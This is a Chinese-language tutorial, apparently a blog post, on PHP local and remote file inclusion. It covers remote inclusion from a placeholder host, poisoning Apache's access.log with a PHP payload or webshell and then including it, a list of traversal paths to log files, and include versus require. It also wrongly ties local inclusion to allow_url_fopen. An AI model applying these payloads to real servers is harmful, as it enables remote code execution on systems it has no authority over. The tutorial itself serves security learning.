php文件包含漏洞

文件包含的分类

本地文件包含LFI   
main.php?page=1.jpg,需要allow_url_fopen开启,默认是开启的
远程文件包含RFI   
main.php?page=http://www.xxx.com/xxx/1.jpg  需要allow_url_include = On  

只要是符合php语法的文件,无论什么扩展名,他都会被当成php文件来执行。

php包含日志文件

当某个PHP文件存在本地包含漏洞,而却无法上传正常文件,这就意味这有包含漏洞却不能拿来利用,这时攻击者就有可能会利用apache日志文件来入侵。Apache服务器运行后会生成两个日志文件,这两个文件是access.log(访问日志)和error.log(错误日志),Apache的日志文件记录了服务器对每次请求做出响应的有关信息,例如当我们请求x.php页面时,Apache就会记录下我们的操作,并且写到访问日志文件access.log之中:

尝试将一句话木马或者是phpinfo写入到log文件中,访问如下地址:http://localhost/dashboard/<?php phpinfo();?>,效果如下:

尖括号和空格被转码,而这样是无法利用的,尝试使用burpsuite抓包修改访问的url地址:

查看access.log文件,可以看到没有被转码:

最后本地包含access.log文件即可。可以尝试将一句话木马写入到文件中。

常见的日志位置文件如下:

1
2
3
4
5
6
7
8
  ../../../../../../../../../../var/log/httpd/access_log
  ../../../../../../../../../../var/log/httpd/error_log
  ../apache/logs/error.log
  ../apache/logs/access.log
  ../../apache/logs/error.log
  ../../apache/logs/access.log
  ../../../apache/logs/error.log
  ../../../apache/logs/access.log

include和require的区别

1.PHP程序执行到require()时,只会读取一次档案,故常放在程序开头,档案引入后PHP会将网页档重新编译,让引入档成为原先网页的一部分。
2.PHP程序执行到include()时,每次皆会读取档案,故常用于流程控制的区段,如条件判断或循环中。
3.require():无条件包含,如果文件不存在,会报出一个fatal error,脚本停止执行。
4.include():有条件包含,如果文件不存在,会给出一个 warning,但脚本会继续执行。
5.推荐使用require_once()和include_once(),可以检测文件是否有重复包含。